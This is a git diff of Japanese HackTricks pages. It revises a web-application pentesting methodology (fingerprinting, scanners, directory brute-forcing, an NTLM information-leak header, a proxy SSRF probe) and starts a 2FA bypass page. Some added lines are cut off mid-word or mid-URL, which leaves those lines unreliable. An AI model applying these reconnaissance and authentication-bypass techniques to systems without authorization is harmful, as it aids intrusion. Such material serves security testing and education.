[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
|
@ -166,8 +166,8 @@ HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ
|
|||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -43,26 +43,26 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
|
||||
> この方法論では、ドメイン(またはサブドメイン)を攻撃することを前提としています。したがって、この方法論をスコープ内の各ドメイン、サブドメイン、または未確定のウェブサーバーのIPに適用する必要があります。
|
||||
|
||||
* [ ] まず、ウェブサーバーで使用されている技術を**特定**します。技術を正常に特定できた場合、テストの残りの部分で考慮すべき**トリック**を探します。
|
||||
* [ ] まず、ウェブサーバーで使用されている**技術**を**特定**します。技術を正常に特定できた場合、テストの残りの部分で考慮すべき**トリック**を探します。
|
||||
* [ ] 使用している技術のバージョンに**既知の脆弱性**はありますか?
|
||||
* [ ] 既知の技術を使用していますか?より多くの情報を抽出するための**有用なトリック**はありますか?
|
||||
* [ ] 実行する**専門のスキャナー**はありますか(例:wpscan)?
|
||||
* [ ] **一般的な目的のスキャナー**を実行します。何か見つかるか、興味深い情報が見つかるかわかりません。
|
||||
* [ ] **初期チェック**から始めます:**robots**、**sitemap**、**404**エラー、および**SSL/TLSスキャン**(HTTPSの場合)。
|
||||
* [ ] 最初のチェックを開始します:**robots**、**sitemap**、**404**エラー、および**SSL/TLSスキャン**(HTTPSの場合)。
|
||||
* [ ] ウェブページを**スパイダリング**します:可能な**ファイル、フォルダ**、および**使用されているパラメータ**をすべて**見つけます**。また、**特別な発見**もチェックします。
|
||||
* [ ] _ブルートフォースやスパイダリング中に新しいディレクトリが発見された場合は、必ずスパイダリングを行います。_
|
||||
* [ ] **ディレクトリのブルートフォース**:発見されたすべてのフォルダをブルートフォースして、新しい**ファイル**と**ディレクトリ**を探します。
|
||||
* [ ] _ブルートフォースやスパイダリング中に新しいディレクトリが発見された場合は、必ずブルートフォースを行います。_
|
||||
* [ ] **バックアップのチェック**:一般的なバックアップの拡張子を追加して、**発見されたファイル**の**バックアップ**を見つけるかどうかテストします。
|
||||
* [ ] **パラメータのブルートフォース**:**隠れたパラメータ**を見つけるために試みます。
|
||||
* [ ] **ユーザー入力**を受け入れる**すべてのエンドポイント**を**特定**したら、それに関連する**脆弱性**をチェックします。
|
||||
* [ ] **パラメータのブルートフォース**:**隠れたパラメータ**を見つけるためにブルートフォースを試みます。
|
||||
* [ ] **ユーザー入力**を受け入れる**すべてのエンドポイント**を**特定**したら、それに関連する**脆弱性**をすべてチェックします。
|
||||
* [ ] [このチェックリストに従ってください](../../pentesting-web/web-vulnerabilities-methodology/)
|
||||
|
||||
## サーバーバージョン(脆弱性あり?)
|
||||
|
||||
### 特定
|
||||
|
||||
実行されているサーバーの**バージョン**には**既知の脆弱性**があるかどうかを確認します。\
|
||||
実行しているサーバーバージョンに**既知の脆弱性**があるかどうかを確認します。\
|
||||
**レスポンスのHTTPヘッダーとクッキー**は、使用されている**技術**および/または**バージョン**を**特定**するために非常に役立つ場合があります。**Nmapスキャン**はサーバーバージョンを特定できますが、[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**、**[**webtech**](https://github.com/ShielderSec/webtech)**、または[**https://builtwith.com/**](https://builtwith.com)**:**のツールも役立つ場合があります。
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
|
@ -102,7 +102,7 @@ webanalyze -host https://google.com -crawl 2
|
|||
* [**Laravel**](laravel.md)
|
||||
* [**Moodle**](moodle.md)
|
||||
* [**Nginx**](nginx.md)
|
||||
* [**PHP(phpには利用可能な興味深いトリックがたくさんあります)**](php-tricks-esp/)
|
||||
* [**PHP(phpには利用できる興味深いトリックがたくさんあります)**](php-tricks-esp/)
|
||||
* [**Python**](python.md)
|
||||
* [**Spring Actuators**](spring-actuators.md)
|
||||
* [**Symphony**](symphony.md)
|
||||
|
@ -122,11 +122,11 @@ Webアプリケーションが**以前にリストされたよく知られたテ
|
|||
アプリケーションの**ソースコード**が**github**で利用可能な場合、アプリケーションの**ホワイトボックステスト**を**自分で実行**するだけでなく、現在の**ブラックボックステスト**に役立つ**情報**があります。
|
||||
|
||||
* **変更履歴、Readme、バージョン**ファイルなど、ウェブ経由でアクセス可能な**バージョン情報**はありますか?
|
||||
* **資格情報**はどこに保存されていますか?(アクセス可能な?)資格情報(ユーザー名またはパスワード)のある**ファイル**はありますか?
|
||||
* **資格情報**はどこに保存されていますか?(アクセス可能な)資格情報(ユーザー名またはパスワード)のある(アクセス可能な?)**ファイル**はありますか?
|
||||
* **パスワード**は**平文**、**暗号化**されていますか、またはどの**ハッシュアルゴリズム**が使用されていますか?
|
||||
* 暗号化に**マスターキー**を使用していますか?どの**アルゴリズム**が使用されていますか?
|
||||
* いくつかの脆弱性を悪用してこれらのファイルの**アクセス**が可能ですか?
|
||||
* githubの(解決済みおよび未解決の)**問題**には興味深い情報がありますか?または**コミット履歴**に(古いコミットにパスワードが入力されているかもしれない)何かがありますか?
|
||||
* いくつかの脆弱性を悪用してこれらのファイルの**いずれかにアクセス**できますか?
|
||||
* githubの(解決済みおよび未解決の)**問題**には興味深い情報がありますか?または**コミット履歴**に(古いコミットにパスワードが入力されているかもしれない)**情報**がありますか?
|
||||
|
||||
{% content-ref url="code-review-tools.md" %}
|
||||
[code-review-tools.md](code-review-tools.md)
|
||||
|
@ -145,10 +145,10 @@ nuclei -ut && nuclei -target <URL>
|
|||
```
|
||||
#### CMSスキャナー
|
||||
|
||||
CMSが使用されている場合は、**スキャナーを実行**することを忘れないでください。何か興味深い情報が見つかるかもしれません:
|
||||
CMSが使用されている場合は、**スキャナーを実行**することを忘れないでください。何か興味深い情報が見つかるかもしれません。
|
||||
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**、ColdFusion、WebLogic**、[**Tomcat**](tomcat.md)**、Railo、Axis2、Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): セキュリティの問題を抱えている[**WordPress**](wordpress.md)、[**Drupal**](drupal.md)、**Joomla**、**vBulletin**のウェブサイト(GUI)\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan)**:** [**WordPress**](wordpress.md)**、[**Drupal**](drupal.md)**、**Joomla**、**vBulletin**のウェブサイトのセキュリティ問題をスキャンします(GUI)\
|
||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**、**[**Wordpress**](wordpress.md)**、**[**Drupal**](drupal.md)**、PrestaShop、Opencart**\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**、**[**(J)oomla**](joomla.md)**、**[**(D)rupal**](drupal.md)**または**[**(M)oodle**](moodle.md)\
|
||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**、**[**Joomla**](joomla.md)**、**[**Moodle**](moodle.md)**、Silverstripe**、[**Wordpress**](wordpress.md)
|
||||
|
@ -196,7 +196,7 @@ WebDavが**有効**になっていることがわかった場合、ルートフ
|
|||
* アプリケーションがいかなる部分でも**HTTPSの使用を強制していない**場合、MitMの脆弱性があります
|
||||
* アプリケーションがHTTPを使用して機密データ(パスワード)を送信している場合、高い脆弱性です。
|
||||
|
||||
[**testssl.sh**](https://github.com/drwetter/testssl.sh)を使用して**脆弱性**をチェックします(Bug Bountyプログラムでは、おそらくこの種の脆弱性は受け入れられません)。また、[**a2sv**](https://github.com/hahwul/a2sv)を使用して脆弱性を再確認します:
|
||||
[**testssl.sh**](https://github.com/drwetter/testssl.sh)を使用して**脆弱性**をチェックします(Bug Bountyプログラムでは、おそらくこの種の脆弱性は受け入れられません)。また、[**a2sv**](https://github.com/hahwul/a2sv)を使用して脆弱性を再チェックします:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
|
@ -230,27 +230,27 @@ SSL/TLSの脆弱性に関する情報:
|
|||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash、いくつかのツール): いくつかのツールを使用してJSファイルから興味深い情報を収集します。
|
||||
* [**subjs**](https://github.com/lc/subjs) (go): JSファイルを見つけます。
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): ヘッドレスブラウザでページを読み込み、読み込まれたすべてのURLを表示します。
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 複数の前述のツールのオプションを組み合わせたコンテンツディスカバリーツール
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 以前のツールのいくつかのオプションを組み合わせたコンテンツディスカバリーツール
|
||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JSファイルからパスとパラメータを見つけるためのBurp拡張機能。
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.mapのURLが与えられると、美しく整形されたJSコードを取得します。
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 指定されたターゲットのエンドポイントを発見するためのツールです。
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback Machineからリンクを発見します(Wayback Machineでのレスポンスもダウンロードし、さらなるリンクを探します)。
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): フォームの入力などを使用してクロールし、特定の正規表現を使用して機密情報を見つけます。
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): フォームの入力によるクロール(フォームの入力も含む)および特定の正規表現を使用して機密情報を見つけます。
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suiteは、サイバーセキュリティの専門家向けの高度なマルチ機能GUIウェブセキュリティクローラー/スパイダーです。
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Goパッケージおよび[コマンドラインツール](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)で、JavaScriptソースコードからURL、パス、シークレットなどの興味深いデータを抽出します。
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScriptソースコードからURL、パス、シークレットなどの興味深いデータを抽出するためのGoパッケージおよび[コマンドラインツール](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)です。
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): リクエストからパラメータとエンドポイントを抽出し、ファジングと列挙のためのカスタムワードリストを作成するためのシンプルな**Burp Suite拡張機能**です。
|
||||
|
||||
### ディレクトリとファイルのブルートフォース
|
||||
|
||||
ルートフォルダから**ブルートフォース**を開始し、**見つかったすべてのディレクトリ**をブルートフォースしてください。これをスパイダリングで**再帰的に**行い、見つかったディレクトリの名前を使用したワードリストの先頭に追加します。\
|
||||
ルートフォルダから**ブルートフォース**を開始し、**見つかったすべてのディレクトリ**をブルートフォースしてください。これをスパイダリングで**再帰的に**行い、使用されたワードリストの先頭に見つかったディレクトリの名前を追加します。\
|
||||
ツール:
|
||||
|
||||
* **Dirb** / **Dirbuster** - Kaliに含まれていますが、**古い**(そして**遅い**)ですが、機能します。自己署名証明書と再帰的な検索を許可します。他のオプションと比べて遅すぎます。
|
||||
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 自己署名証明書は許可しませんが**再帰的な検索を許可します。
|
||||
* [**Gobuster**](https://github.com/OJ/gobuster) (go): 自己署名証明書を許可し、**再帰的な**検索はありません。
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 速く、再帰的な検索を
|
||||
* [**Dirsearch**に含まれる辞書](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 自己署名証明書は許可しませ
|
||||
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt)
|
||||
* [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||
* [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
|
||||
* [Assetnoteワードリスト](https://wordlists.assetnote.io)
|
||||
* [Assetnote wordlists](https://wordlists.assetnote.io)
|
||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
|
||||
* raft-large-directories-lowercase.txt
|
||||
* directory-list-2.3-medium.txt
|
||||
|
@ -263,11 +263,11 @@ SSL/TLSの脆弱性に関する情報:
|
|||
* _/usr/share/wordlists/dirb/big.txt_
|
||||
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_ブルートフォースやスパイダリング中に新しいディレクトリが発見された場合、ブルートフォースを行う必要があります。_
|
||||
_ブルートフォースやスパイダリング中に新しいディレクトリが見つかった場合は、ブルートフォースを行う必要があります。_
|
||||
|
||||
### 各ファイルのチェック項目
|
||||
### 各ファイルでチェックする項目
|
||||
|
||||
* [**リンク切れチェッカー**](https://github.com/stevenvachon/broken-link-checker): ターゲットになる可能性のあるHTML内のリンク切れを検出します。
|
||||
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML内の壊れたリンクを見つけ、乗っ取りの可能性があるものを見つけます。
|
||||
* **ファイルのバックアップ**: すべてのファイルを見つけた後、実行可能ファイル(「_.php_」、「_.aspx_」など)のバックアップを探します。バックアップの一般的なバリエーションは次のとおりです: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp, file.old._ ツール[**bfac**](https://github.com/mazen160/bfac)も使用できます。
|
||||
* **新しいパラメータの発見**: [**Arjun**](https://github.com/s0md3v/Arjun)**、**[**parameth**](https://github.com/maK-/parameth)**、**[**x8**](https://github.com/sh1yo/x8)**、**[**Param Miner**](https://github.com/PortSwigger/param-miner)などのツールを使用して、隠されたパラメータを発見できます。可能であれば、各実行可能なWebファイルで隠されたパラメータを検索してみることもできます。
|
||||
* _Arjunのすべてのデフォルトワードリスト:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
|
@ -275,27 +275,27 @@ _ブルートフォースやスパイダリング中に新しいディレクト
|
|||
* _Assetnoteの「parameters\_top\_1m」:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
* _nullenc0deの「params.txt」:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
* **コメント**: すべてのファイルのコメントをチェックし、**資格情報**や**隠された機能**を見つけることができます。
|
||||
* **CTF**をプレイしている場合、**ページの右側**にコメント内に**情報を隠す**という「一般的な」トリックがあります(ブラウザでソースコードを開いてもデータが見えないように、**数百のスペース**を使用します)。他の可能性としては、**複数の改行**を使用して、ウェブページの**一番下**にコメントで情報を隠すことがあります。
|
||||
* **APIキー**: もし**APIキー**を見つけた場合、異なるプラットフォームのAPIキーの使用方法に関するガイドがあります: [**keyhacks**](https://github.com/streaak/keyhacks)**、**[**zile**](https://github.com/xyele/zile.git)**、**[**truffleHog**](https://github.com/trufflesecurity/truffleHog)**、**[**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**、**[**RegHex**](https://github.com/l4yton/RegHex\)/)**、**[**DumpsterDive**](https://github.com/securing/DumpsterDiver)**、**[**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* **CTF**をプレイしている場合、ページの**右側**にコメント内に**情報**を**隠す**という「一般的な」トリックがあります(ブラウザでソースコードを開いてもデータが見えないように、**数百のスペース**を使用します)。他の可能性としては、**複数の改行**を使用し、ウェブページの**最下部**にコメントで**情報を隠す**ことがあります。
|
||||
* **APIキー**: もし**APIキー**を見つけた場合、異なるプラットフォームのAPIキーの使用方法を示すガイドがあります: [**keyhacks**](https://github.com/streaak/keyhacks)**、**[**zile**](https://github.com/xyele/zile.git)**、**[**truffleHog**](https://github.com/trufflesecurity/truffleHog)**、**[**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**、**[**RegHex**](https://github.com/l4yton/RegHex\)/)**、**[**DumpsterDive**](https://github.com/securing/DumpsterDiver)**、**[**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* Google APIキー: **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjikのようなAPIキーを見つけた場合、プロジェクト[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)を使用して、キーがアクセスできるAPIを確認できます。
|
||||
* **S3バケット**: スパイダリング中に、いずれかの**サブドメイン**または**リンク**がS3バケットに関連しているかどうかを確認してください。その場合は、[**バケットの権限**を確認してください](buckets/)。
|
||||
* **S3バケット**: スパイダリング中に、いずれかの**サブドメイン**または**リンク**がS3バケットに関連しているかどうかを確認します。その場合は、[**バケットの権限**を確認します](buckets/)。
|
||||
|
||||
### 特別な発見
|
||||
|
||||
**スパイダリング**や**ブルートフォース**を行う中で、**興味深い****もの**を見つけることがあります。これらには**注意**が必要です。
|
||||
**スパイダリング**や**ブルートフォース**の過程で、**興味深い**な**もの**を見つけることがあります。これらには**注意**が必要です。
|
||||
|
||||
**興味深いファイル**
|
||||
|
||||
* **CSS**ファイル内の他のファイルへの**リンク**を探します。
|
||||
* **CSS**ファイル内の他のファイルへのリンクを探します。
|
||||
* _**.git**_ファイルを見つけた場合、いくつかの情報を抽出できます([詳細はこちら](git.md))。
|
||||
* _**.env**_ファイルを見つけた場合、APIキー、DBのパスワードなどの情報が見つかる可能性があります。
|
||||
* _**.env**_ファイルを見つけた場合、APIキー、DBのパスワードなどの情報が見つかる場合があります。
|
||||
* **APIエンドポイント**を見つけた場合、[テストする必要があります](web-api-pentesting.md)。これらはファイルではありませんが、おそらく「ファイルのように」見えるでしょう。
|
||||
* **JSファイル**: スパイダリングセクションでは、JSファイルからパスを抽出するツールがいくつか紹介されています。また、見つかった各JSファイルを**監視する**ことも興味深いです。なぜなら、変更がある場合、コードに潜在的な脆弱性が導入された可能性があるからです。たとえば、[**JSMon**](https://github.com/robre/jsmon)を使用できます。
|
||||
* 発見したJSファイルは、[**RetireJS**](https://github.com/retirejs/retire.js/)や[**JSHole**](https://github.com/callforpapers-source/jshole)で脆弱性があるかどうかをチェックする必要があります。
|
||||
* **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
* **JsFuck deobfuscation**(文字列:"\[]!+"を含むJavaScript)[https://ooze.ninja/javascript/poisonjs/](https://oo
|
||||
* **フォームが検出されたファイルを監視**することもできます。パラメータの変更や新しいフォームの出現は、潜在的な脆弱な機能の指標となる可能性があります。
|
||||
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://be
|
||||
* いくつかの場合には、使用されている**正規表現を理解する**必要があります。これは役立ちます:[https://regex101.com/](https://regex101.com)
|
||||
* また、フォームが検出されたファイルを**監視する**こともできます。パラメータの変更や新しいフォームの出現は、潜在的な新しい脆弱な機能を示す可能性があります。
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (バイパス)**
|
||||
|
||||
|
@ -305,21 +305,21 @@ _ブルートフォースやスパイダリング中に新しいディレクト
|
|||
|
||||
**502 Proxy Error**
|
||||
|
||||
もしページがこの**コード**で**応答**する場合、おそらく**設定が誤っているプロキシ**です。**`GET https://google.com HTTP/1.1`**(ホストヘッダーと他の一般的なヘッダーを含む)のようなHTTPリクエストを送信すると、**プロキシ**は_google.com_に**アクセス**し、SSRFを見つけることができます。
|
||||
もしページがこの**コード**で**応答**する場合、おそらく**設定が間違っているプロキシ**です。**`GET https://google.com HTTP/1.1`**のようなHTTPリクエストを送信すると(ホストヘッダーと他の一般的なヘッダーを含む)、**プロキシ**は_google.com_に**アクセス**しようとします。これにより、SSRFを見つけることができます。
|
||||
|
||||
**NTLM認証 - 情報漏洩**
|
||||
|
||||
認証を求める実行中のサーバーが**Windows**であるか、**資格情報**を求めるログインが見つかった場合(および**ドメイン名**を求める場合)、情報漏洩を引き起こすことができます。\
|
||||
`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`という**ヘッダー**を**送信**すると、**NTLM認証の仕組み**により、サーバーはヘッダーの「WWW-Authenticate」内に内部情報(IISバージョン、Windowsバージョンなど)を返します。\
|
||||
これは_nmapプラグイン_「_http-ntlm-info.nse_」を使用して**自動化**することができます。
|
||||
実行中のサーバーが**Windows**を要求している場合、または**資格情報**を要求するログインが見つかった場合(および**ドメイン名**を要求する場合)、情報漏洩を引き起こすことができます。\
|
||||
`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`という**ヘッダー**を**送信**し、NTLM認証の動作方法により、サーバーはヘッダー「WWW-Authenticate」内に内部情報(IISバージョン、Windowsバージョンなど)を含んだ応答を返します。\
|
||||
これは、**nmapプラグイン**"_http-ntlm-info.nse_"を使用して自動化することができます。
|
||||
|
||||
**HTTPリダイレクト(CTF)**
|
||||
|
||||
**リダイレクト**内に**コンテンツ**を配置することが可能です。このコンテンツはユーザーには表示されません(ブラウザがリダイレクトを実行するため)、しかし何かが**隠されている**可能性があります。
|
||||
**リダイレクト**内にコンテンツを**配置**することが可能です。このコンテンツはユーザーには表示されません(ブラウザがリダイレクトを実行するため)、しかし何かが**隠されている**可能性があります。
|
||||
|
||||
### Web脆弱性のチェック
|
||||
|
||||
ウェブアプリケーションの包括的な列挙が実行されたので、多くの可能な脆弱性をチェックする時が来ました。チェックリストはこちらで見つけることができます:
|
||||
Webアプリケーションの包括的な列挙が実行されたので、多くの可能な脆弱性をチェックする時が来ました。チェックリストはこちらで見つけることができます:
|
||||
|
||||
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology/" %}
|
||||
[web-vulnerabilities-methodology](../../pentesting-web/web-vulnerabilities-methodology/)
|
||||
|
@ -413,7 +413,7 @@ Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:F
|
|||
* **サイバーセキュリティ企業**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有**するために、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,145 +1,142 @@
|
|||
# 2FA/OTP バイパス
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
|
||||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
## **2要素認証のバイパス**
|
||||
|
||||
# **2要素認証のバイパス**
|
||||
### **直接バイパス**
|
||||
|
||||
## **直接バイパス**
|
||||
2FAをバイパスするには、単に**次のエンドポイントに直接アクセス**してみてください(次のエンドポイントのパスを知る必要があります)。これが機能しない場合は、2FAページから来たかのように**リファラーヘッダー**を変更してみてください。
|
||||
|
||||
2FAをバイパスするには、次のエンドポイントに直接アクセスしてみてください(次のエンドポイントのパスを知る必要があります)。これが機能しない場合は、2FAページから来たかのように**リファラーヘッダー**を変更してみてください。
|
||||
|
||||
## **トークンの再利用**
|
||||
### **トークンの再利用**
|
||||
|
||||
以前にアカウント内で使用されたトークンを再利用して認証することができるかもしれません。
|
||||
|
||||
## 未使用のトークンの共有
|
||||
### 未使用のトークンの共有
|
||||
|
||||
アカウントからトークンを取得し、別のアカウントで2FAをバイパスするために使用できるか確認してください。
|
||||
|
||||
## リークしたトークン
|
||||
### リークしたトークン
|
||||
|
||||
